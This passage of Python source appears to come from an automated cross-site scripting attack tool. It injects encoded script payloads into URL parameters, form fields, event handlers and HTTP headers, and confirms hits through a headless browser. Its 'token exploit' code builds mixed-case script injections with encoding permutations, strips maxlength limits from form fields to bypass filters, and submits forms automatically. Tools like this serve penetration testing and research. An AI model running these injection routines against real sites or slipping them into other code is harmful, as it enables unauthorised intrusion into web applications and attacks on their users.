  1304. elif heuristic_param == "&#62":
  1305. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1306. elif heuristic_param == "&#60":
  1307. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1308. elif heuristic_param == "&#59":
  1309. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1310. elif heuristic_param == "&#39":
  1311. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1312. elif heuristic_param == "&#34":
  1313. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1314. elif heuristic_param == "&#61":
  1315. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  1316. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1317. else:
  1318. if heuristic_param == "\\":
  1319. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1320. elif heuristic_param == "/":
  1321. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1322. elif heuristic_param == ">":
  1323. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1324. elif heuristic_param == "<":
  1325. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1326. elif heuristic_param == ";":
  1327. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1328. elif heuristic_param == "'":
  1329. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1330. elif heuristic_param == '"':
  1331. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1332. elif heuristic_param == "=":
  1333. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1334. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1335. elif self.options.hash:
  1336. for key, value in self.final_hashes.items():
  1337. if str(key) in dest_url:
  1338. if key in curl_handle.body():
  1339. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1340. else:
  1341. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1342. else:
  1343. for key, value in self.final_hashes.items():
  1344. if key in current_hashes:
  1345. if "XSA" in value:
  1346. method = "XSA"
  1347. hashing = key
  1348. elif "XSR" in value:
  1349. method = "XSR"
  1350. hashing = key
  1351. elif "COO" in value:
  1352. method = "COO"
  1353. hashing = key
  1354. else:
  1355. method = value
  1356. hashing = key
  1357. if not hashing:
  1358. pass
  1359. else:
  1360. if hashing not in dest_url:
  1361. if key in current_hashes:
  1362. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1363. b64_string = payload["payload"].split("[B64]")
  1364. b64_string = b64_string[1]
  1365. b64_string = b64_string.replace('PAYLOAD', key)
  1366. b64_string = b64encode(b64_string)
  1367. b64_string = urllib.parse.urlencode({'':b64_string})
  1368. if b64_string.startswith("="):
  1369. b64_string = b64_string.replace("=", "")
  1370. if str(b64_string) in str(dest_url):
  1371. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1372. else:
  1373. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1374. else:
  1375. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1376. self.report("")
  1377. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1378. options = self.options
  1379. c_info = str(curl_handle.info())
  1380. c_body = str(curl_handle.body())
  1381. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1382. b64_string = payload["payload"].split("[B64]")
  1383. b64_string = b64_string[1]
  1384. b64_string = b64_string.replace('PAYLOAD', hashing)
  1385. b64_string = b64encode(b64_string)
  1386. if b64_string.startswith("="):
  1387. b64_string = b64_string.replace("=", "")
  1388. hashing = b64_string
  1389. if payload['browser'] == "[Document Object Model Injection]":
  1390. self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
  1391. else:
  1392. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1393. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1394. else:
  1395. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1396. def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
  1397. if self.cookie_set_flag == False:
  1398. self.generate_headless_cookies(orig_url)
  1399. self.cookie_set_flag = True # cookie has been set!
  1400. try:
  1401. self.driver.get(dest_url) # GET
  1402. src = self.driver.page_source
  1403. except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException
  1404. if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
  1405. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1406. self.token_arrived_hashes.append(hashing) # add token/hashing for counting
  1407. else:
  1408. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1409. else:
  1410. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1411. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
  1412. if str(self.options.discode) in c_body: # provided by user
  1413. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1414. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1415. else:
  1416. if str('&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1417. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1418. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1419. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1420. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1421. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1422. else:
  1423. if self.options.discode:
  1424. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1425. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1426. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1427. """
  1428. Add an attack that failed to inject
  1429. """
  1430. if method == "heuristic":
  1431. self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1432. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1433. elif method == "hashing check":
  1434. self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1435. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1436. else:
  1437. self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
  1438. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1439. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1440. """
  1441. Add an attack that have managed to inject code
  1442. """
  1443. if method == "heuristic":
  1444. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1445. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1446. elif method == "hashing check":
  1447. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1448. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1449. else:
  1450. payload_sub = payload['payload']
  1451. self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
  1452. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1453. for reporter in self._reporters:
  1454. reporter.add_success(dest_url)
  1455. if self.options.reversecheck:
  1456. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1457. pass
  1458. else:
  1459. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1460. def create_headless_embed_browser(self):
  1461. agents = [] # user-agents
  1462. self.cookie_set_flag = False # used for cookie
  1463. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1464. for line in f:
  1465. agents.append(line)
  1466. try:
  1467. agent = random.choice(agents).strip() # set random user-agent
  1468. except:
  1469. agent = "Privoxy/1.0" # set static user-agent
  1470. try: # selenium + firefox + gecko(bin)
  1471. from selenium import webdriver
  1472. from selenium.webdriver.firefox.options import Options as FirefoxOptions
  1473. from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
  1474. self.dom_browser_alert = UnexpectedAlertPresentException
  1475. profile = webdriver.FirefoxProfile()
  1476. profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
  1477. profile.set_preference('browser.safebrowsing.enabled', True)
  1478. profile.set_preference('toolkit.telemetry.enabled', False)
  1479. profile.set_preference('webdriver_accept_untrusted_certs', True)
  1480. profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
  1481. profile.set_preference('security.insecure_password.ui.enabled', False)
  1482. profile.set_preference('extensions.logging.enabled', False)
  1483. options = FirefoxOptions()
  1484. options.add_argument("-headless") # set Firefox (options) - headless mode
  1485. options.add_argument("-no-remote")
  1486. options.add_argument("-no-first-run")
  1487. options.add_argument("-app")
  1488. options.add_argument("-safe-mode")
  1489. current_dir = os.getcwd()
  1490. driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
  1491. except:
  1492. driver = None
  1493. self.token_arrived_flag = False
  1494. if DEBUG == True:
  1495. traceback.print_exc()
  1496. return driver
  1497. def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1498. if "VECTOR" in orig_url:
  1499. dest_url = orig_url
  1500. else:
  1501. if not dest_url.endswith("/"):
  1502. dest_url = dest_url + "/"
  1503. dest_url = orig_url + query_string
  1504. dest_url = dest_url.split("#")[0]
  1505. p_uri = urlparse(dest_url)
  1506. uri = p_uri.netloc
  1507. path = p_uri.path
  1508. target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
  1509. for key, value in target_params.items():
  1510. if key == vector_found: # only replace parameters with valid hashes
  1511. target_params[key] = payload['payload']
  1512. else:
  1513. target_params[key] = target_params[key][0]
  1514. target_url_params = urllib.parse.urlencode(target_params)
  1515. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1516. dest_url = urllib.parse.unquote(dest_url)
  1517. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1518. return tok_url
  1519. def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1520. if vector_found in dest_url:
  1521. v = dest_url.split(vector_found+"=")[1]
  1522. p = v.split("&")[0]
  1523. dest_url = dest_url.replace(p, payload['payload'])
  1524. dest_url = urllib.parse.unquote(dest_url)
  1525. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1526. return tok_url
  1527. def generate_token_exploit(self, hashing, dest_url, payload):
  1528. self_url = "http://localhost:19084/success/" + hashing
  1529. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1530. shadow_inj = "<SCrIpT>" + shadow_js_inj + "</ScRiPt>"
  1531. _e = self.encoding_permutations
  1532. if self.options.script: # manual injections
  1533. if 'XSS' in dest_url:
  1534. dest_url = dest_url.replace('XSS', hashing)
  1535. elif 'XS1' in dest_url:
  1536. dest_url = dest_url.replace('XS1', hashing)
  1537. if "'>" in dest_url:
  1538. dest_url = dest_url.split("'>")[0]
  1539. tok_url = dest_url + _e("'>" + shadow_inj)
  1540. tok_url += '#' + self_url
  1541. elif '">' in dest_url:
  1542. dest_url = dest_url.split('">')[0]
  1543. tok_url = dest_url + _e('">' + shadow_inj)
  1544. tok_url += '#' + self_url
  1545. elif 'onerror=' in dest_url:
  1546. dest_url = dest_url.split('onerror=')[0]
  1547. tok_url = dest_url + _e('onerror=' + shadow_js_inj + ">")
  1548. tok_url+= '#' + self_url
  1549. elif 'onError=' in dest_url:
  1550. dest_url = dest_url.split('onError=')[0]
  1551. tok_url = dest_url + _e('onError=' + shadow_js_inj + ">")
  1552. tok_url+= '#' + self_url
  1553. elif 'onload=' in dest_url:
  1554. dest_url = dest_url.split('onload=')[0]
  1555. tok_url = dest_url + _e('onload=' + shadow_js_inj + ">")
  1556. tok_url+= '#' + self_url
  1557. elif 'onLoad=' in dest_url:
  1558. dest_url = dest_url.split('onLoad=')[0]
  1559. tok_url = dest_url + _e('onLoad=' + shadow_js_inj + ">")
  1560. tok_url+= '#' + self_url
  1561. else:
  1562. tok_url = dest_url + "#" + self_url
  1563. else: # default + auto injections
  1564. if 'VECTOR' in dest_url:
  1565. dest_url = dest_url.replace('VECTOR', payload['payload'])
  1566. if '">PAYLOAD' in dest_url:
  1567. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1568. tok_url += '#' + self_url
  1569. elif "'>PAYLOAD" in dest_url:
  1570. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1571. tok_url += '#' + self_url
  1572. elif "javascript:PAYLOAD" in dest_url:
  1573. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1574. tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
  1575. tok_url+= '#' + self_url
  1576. elif '"PAYLOAD"' in dest_url:
  1577. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1578. elif "'PAYLOAD'" in dest_url:
  1579. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1580. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1581. tok_url = dest_url.replace('PAYLOAD', self_url)
  1582. elif "SCRIPT" in dest_url:
  1583. tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
  1584. tok_url += '#' + self_url
  1585. elif 'onerror="PAYLOAD"' in dest_url:
  1586. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1587. tok_url+= '#' + self_url
  1588. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1589. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1590. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
  1591. tok_url+= '#' + self_url
  1592. elif 'onError="PAYLOAD"' in dest_url:
  1593. tok_url = dest_url.replace('onError="PAYLOAD"', _e('onError="' + shadow_inj + '"'))
  1594. tok_url+= '#' + self_url
  1595. elif 'onError="javascript:PAYLOAD"' in dest_url:
  1596. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1597. tok_url = dest_url.replace('onError="javascript:PAYLOAD"', _e('onError="javascript:' + shadow_js_inj + '"'))
  1598. tok_url+= '#' + self_url
  1599. elif 'onload="PAYLOAD"' in dest_url:
  1600. tok_url = dest_url.replace('onload="PAYLOAD"', _e('onload="' + shadow_inj + '"'))
  1601. tok_url+= '#' + self_url
  1602. elif 'onload="javascript:PAYLOAD"' in dest_url:
  1603. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1604. tok_url = dest_url.replace('onload="javascript:PAYLOAD"', _e('onload="javascript:' + shadow_js_inj + '"'))
  1605. tok_url+= '#' + self_url
  1606. elif 'onLoad="PAYLOAD"' in dest_url:
  1607. tok_url = dest_url.replace('onLoad="PAYLOAD"', _e('onLoad="' + shadow_inj + '"'))
  1608. tok_url+= '#' + self_url
  1609. elif 'onLoad="javascript:PAYLOAD"' in dest_url:
  1610. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1611. tok_url = dest_url.replace('onLoad="javascript:PAYLOAD"', _e('onLoad="javascript:' + shadow_js_inj + '"'))
  1612. tok_url+= '#' + self_url
  1613. elif '<PAYLOAD>' in dest_url:
  1614. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1615. tok_url+= '#' + self_url
  1616. elif 'PAYLOAD' in dest_url:
  1617. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1618. tok_url+= '#' + self_url
  1619. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1620. tok_url = dest_url.replace('PAYLOAD', self_url)
  1621. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1622. tok_url = dest_url.replace('PAYLOAD', self_url)
  1623. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1624. tok_url = dest_url.replace('PAYLOAD', self_url)
  1625. else:
  1626. tok_url = dest_url + "#" + self_url
  1627. return tok_url
  1628. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
  1629. tok_url = None
  1630. tok_total = []
  1631. if self.hash_found:
  1632. for l in self.hash_found:
  1633. vector_found = l[2]
  1634. hash_found = l[3]
  1635. if hashing in hash_found:
  1636. if not self.options.postdata: # GET
  1637. tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1638. else: # POST
  1639. tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1640. if tok_url:
  1641. self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
  1642. def generate_headless_cookies(self, orig_url): # generate cookies for internal headless browser engine
  1643. self.driver.get(orig_url)
  1644. r_cookies = self.driver.get_cookies() # get cookies
  1645. if self.options.cookie:
  1646. cookie = SimpleCookie()
  1647. cookie.load(self.options.cookie)
  1648. for key, morsel in cookie.items():
  1649. for c in r_cookies:
  1650. if key == c["name"]:
  1651. c["value"] = str(morsel.value)
  1652. for c in r_cookies:
  1653. self.driver.add_cookie(c) # add cookies to driver
  1654. def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
  1655. try:
  1656. if self.cookie_set_flag == False:
  1657. if not self.options.postdata: # GET
  1658. self.generate_headless_cookies(tok_url) # send 'tok_url'
  1659. else: # POST
  1660. self.generate_headless_cookies(orig_url) # send 'orig_url'
  1661. self.cookie_set_flag = True # cookie has been set!
  1662. if self.options.postdata: # GET + web forms scrapping + POST
  1663. self.driver.get(orig_url) # GET request to store forms
  1664. tok_parsed = parse_qs(tok_url)
  1665. param_found = []
  1666. for param_parsed in tok_parsed: # find params
  1667. param = self.driver.find_element_by_name(param_parsed) # by name
  1668. if not param:
  1669. param = self.driver.find_element_by_id(param_parsed) # by id
  1670. if param:
  1671. value = str(tok_parsed[param_parsed])
  1672. if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
  1673. value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
  1674. if "<SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt>" in value:
  1675. value = value.replace("<SCrIpT>document.location=document.location.hash.substring(1)", "<SCrIpT src='http://localhost:19084/success/"+str(hashing)+"'>")
  1676. if "['" in value:
  1677. value = value.replace("['", "")
  1678. if "']" in value:
  1679. value = value.replace("']", "")
  1680. param.send_keys(str(value))
  1681. param_found.append(param)
  1682. max_length = param.get_attribute("maxlength")
  1683. if max_length: # bypass max length filters by changing DOM | black magic!
  1684. self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
  1685. if len(param_found) == len(tok_parsed): # form fully filled!
  1686. login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
  1687. login.click() # click it!
  1688. else: # GET
  1689. self.driver.get(tok_url)
  1690. if tok_url not in self.final_attacks:
  1691. self.final_attacks[hashing] = {'url': tok_url}
  1692. self.token_arrived_flag = True
  1693. else:
  1694. self.token_arrived_flag = False
  1695. except:
  1696. self.token_arrived_flag = False
  1697. if DEBUG == True:
  1698. traceback.print_exc()
  1699. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1700. query_string, orig_url):
  1701. """
  1702. report connection failure of an attack
  1703. """
  1704. options = self.options
  1705. current_hashes = [] # to check for ongoing hashes
  1706. if payload['browser'] == "[Heuristic test]":
  1707. for key, value in self.hashed_injections.items():
  1708. if str(key) in dest_url:
  1709. if key not in current_hashes:
  1710. self.final_hashes[key] = value
  1711. current_hashes.append(key)
  1712. elif self.options.hash:
  1713. for key, value in self.hashed_injections.items():
  1714. self.final_hashes[key] = value
  1715. current_hashes.append(key)
  1716. else:
  1717. self.report("-"*45)
  1718. self.report("\n[!] Hashing: \n")
  1719. for key, value in self.hashed_injections.items():
  1720. if str(key) in str(dest_url):
  1721. if key not in current_hashes:
  1722. self.report(" [ " +key+" ] : [" , value + " ]")
  1723. self.final_hashes[key] = value
  1724. current_hashes.append(key)
  1725. else:
  1726. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1727. b64_string = payload["payload"].split("[B64]")
  1728. b64_string = b64_string[1]
  1729. b64_string = b64_string.replace('PAYLOAD', key)
  1730. b64_string = b64encode(b64_string)
  1731. b64_string = urllib.parse.urlencode({'':b64_string})
  1732. if b64_string.startswith("="):
  1733. b64_string = b64_string.replace("=", "")
  1734. if str(b64_string) in str(dest_url):
  1735. if key not in current_hashes:
  1736. self.report(" [ " +key+" ] : [" , value + " ]")
  1737. self.final_hashes[key] = value
  1738. current_hashes.append(key)
  1739. else: # when using encoders (Str, Hex, Dec...)
  1740. if self.options.Str or self.options.Une or self.options.Mix or self.options.Dec or self.options.Hex or self.options.Hes or self.options.Cem:
  1741. if "PAYLOAD" in payload["payload"]:
  1742. payload_string = payload["payload"].replace("PAYLOAD", key)
  1743. elif "VECTOR" in payload["payload"]:
  1744. payload_string = payload["payload"].replace("VECTOR", key)
  1745. elif "XSS" in payload["payload"]:
  1746. payload_string = payload["payload"].replace("XSS", key)
  1747. elif "X1S" in payload["payload"]:
  1748. payload_string = payload["payload"].replace("X1S", key)
  1749. if self.options.Cem:
  1750. enc_perm = options.Cem.split(",")
  1751. for e in enc_perm:
  1752. hashed_payload = self.encoding_permutations(payload_string)
  1753. if e == "Str":
  1754. hashed_payload = hashed_payload.replace(",", "%2C")
  1755. dest_url = dest_url.replace(",", "%2C")
  1756. if e == "Mix":
  1757. hashed_payload=urllib.parse.quote(hashed_payload)
  1758. dest_url = urllib.parse.quote(dest_url)
  1759. if e == "Dec":
  1760. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1761. dest_url = dest_url.replace("&#", "%26%23")
  1762. if e == "Hex":
  1763. hashed_payload = hashed_payload.replace("%", "%25")
  1764. dest_url = dest_url.replace("%", "%25")
  1765. if e == "Hes":
  1766. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1767. hashed_payload = hashed_payload.replace(";", "%3B")
  1768. dest_url = dest_url.replace("&#", "%26%23")
  1769. dest_url = dest_url.replace(";", "%3B")
  1770. else:
  1771. hashed_payload = self.encoding_permutations(payload_string)
  1772. if self.options.Str:
  1773. hashed_payload = hashed_payload.replace(",", "%2C")
  1774. dest_url = dest_url.replace(",", "%2C")
  1775. if self.options.Mix:
  1776. hashed_payload=urllib.parse.quote(hashed_payload)
  1777. dest_url = urllib.parse.quote(dest_url)
  1778. if self.options.Dec:
  1779. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1780. dest_url = dest_url.replace("&#", "%26%23")
  1781. if self.options.Hex:
  1782. hashed_payload = hashed_payload.replace("%", "%25")
  1783. dest_url = dest_url.replace("%", "%25")
  1784. if self.options.Hes:
  1785. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1786. hashed_payload = hashed_payload.replace(";", "%3B")
  1787. dest_url = dest_url.replace("&#", "%26%23")
  1788. dest_url = dest_url.replace(";", "%3B")
  1789. if str(hashed_payload) in str(dest_url):
  1790. if key not in current_hashes:
  1791. self.report(" [ " +key+" ] : [" , value + " ]")
  1792. self.final_hashes[key] = value
  1793. current_hashes.append(key)
  1794. if self.extra_hashed_injections:
  1795. for k, v in self.extra_hashed_injections.items():
  1796. payload_url = str(v[1])
  1797. if payload_url == payload["payload"]:
  1798. if k not in current_hashes:
  1799. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1800. self.final_hashes[k] = v[0]
  1801. current_hashes.append(k)
  1802. self.report("\n"+"-"*45+"\n")
  1803. if payload['browser'] == "[Heuristic test]":
  1804. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1805. else:
  1806. if self.extra_hashed_injections:
  1807. extra_attacks=[]
  1808. if options.xsa:
  1809. extra_attacks.append("XSA")
  1810. if options.xsr:
  1811. extra_attacks.append("XSR")
  1812. if options.coo:
  1813. extra_attacks.append("COO")
  1814. if extra_attacks:
  1815. extra_attacks = "+ "+ str(extra_attacks)
  1816. if options.postdata:
  1817. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1818. else:
  1819. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1820. else:
  1821. if options.postdata:
  1822. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1823. else:
  1824. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1825. if not self.options.hash and not self.options.script:
  1826. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1827. pass
  1828. else:
  1829. self.report("-"*45)
  1830. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1831. pass
  1832. else:
  1833. if not "XSS" in dest_url or not "X1S" in dest_url:
  1834. if self.options.xsa or self.options.xsr or self.options.coo:
  1835. pass
  1836. else:
  1837. self.report("-"*45)
  1838. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1839. if not self.options.verbose:
  1840. self.report("-"*45 + "\n")
  1841. else:
  1842. self.report("-"*45)
  1843. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1844. if not self.options.verbose:
  1845. self.report("-"*45 + "\n")
  1846. # statistics injections counters
  1847. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1848. self.check_positives = self.check_positives + 1
  1849. elif payload['browser']=="[Data Control Protocol Injection]":
  1850. self.dcp_injection = self.dcp_injection + 1
  1851. elif payload['browser']=="[Document Object Model Injection]":
  1852. self.dom_injection = self.dom_injection + 1
  1853. elif payload['browser']=="[Induced Injection]":
  1854. self.httpsr_injection = self.httpsr_injection + 1
  1855. elif payload['browser']=="[manual_injection]":
  1856. self.manual_injection = self.manual_injection + 1
  1857. else:
  1858. self.auto_injection = self.auto_injection +1
  1859. if not self.hashed_injections:
  1860. for k, v in self.extra_hashed_injections.items():
  1861. if k in current_hashes:
  1862. if v[0] == "XSA":
  1863. agent = v[1]
  1864. agent = agent.replace("PAYLOAD", k)
  1865. Curl.agent = agent
  1866. if v[0] == "XSR":
  1867. referer = v[1]
  1868. referer = referer.replace("PAYLOAD", k)
  1869. Curl.referer = referer
  1870. if v[0] == "COO":
  1871. cookie = v[1]
  1872. cookie = cookie.replace("PAYLOAD", k)
  1873. Curl.cookie = cookie
  1874. else:
  1875. for key, value in self.hashed_injections.items():
  1876. for k, v in self.extra_hashed_injections.items():
  1877. payload_url = v[1]
  1878. payload_url = payload_url.replace("PAYLOAD",key)
  1879. payload_url = payload_url.replace(" ", "+") # black magic!
  1880. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1881. if payload_url in final_dest_url:
  1882. if v[0] == "XSA":
  1883. agent = v[1]
  1884. agent = agent.replace("PAYLOAD", k)
  1885. Curl.agent = agent
  1886. if v[0] == "XSR":
  1887. referer = v[1]
  1888. referer = referer.replace("PAYLOAD", k)
  1889. Curl.referer = referer
  1890. if v[0] == "COO":
  1891. cookie = v[1]
  1892. cookie = cookie.replace("PAYLOAD", k)
  1893. Curl.cookie = cookie
  1894. else:
  1895. if k in current_hashes:
  1896. if v[0] == "XSA":
  1897. agent = v[1]
  1898. agent = agent.replace("PAYLOAD", k)
  1899. Curl.agent = agent
  1900. if v[0] == "XSR":
  1901. referer = v[1]
  1902. referer = referer.replace("PAYLOAD", k)
  1903. Curl.referer = referer
  1904. if v[0] == "COO":
  1905. cookie = v[1]
  1906. cookie = cookie.replace("PAYLOAD", k)
  1907. Curl.cookie = cookie
  1908. if options.verbose:
  1909. self.report("-"*45)
  1910. self.report("\n[+] HTTP Headers Verbose:\n")
  1911. self.report(" [Client Request]")
  1912. Curl.print_options()
  1913. self.report(" [Server Reply]\n")
  1914. self.report(curl_handle.info())
  1915. self.report("="*45)
  1916. self.report("[*] Injection(s) Results:")
  1917. self.report("="*45 + "\n")
  1918. if payload['browser']=="[Heuristic test]":
  1919. for key, value in self.final_hashes.items():
  1920. if str(key) in dest_url:
  1921. heuristic_string = key
  1922. heuristic_param = str(payload['payload']).strip('XSS')
  1923. if heuristic_param == "\\":
  1924. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1925. elif heuristic_param == "/":
  1926. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1927. elif heuristic_param == ">":
  1928. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1929. elif heuristic_param == "<":
  1930. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1931. elif heuristic_param == ";":
  1932. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1933. elif heuristic_param == "'":
  1934. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1935. elif heuristic_param == '"':
  1936. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1937. elif heuristic_param == "=":
  1938. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1939. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1940. elif self.options.hash:
  1941. for key, value in self.final_hashes.items():
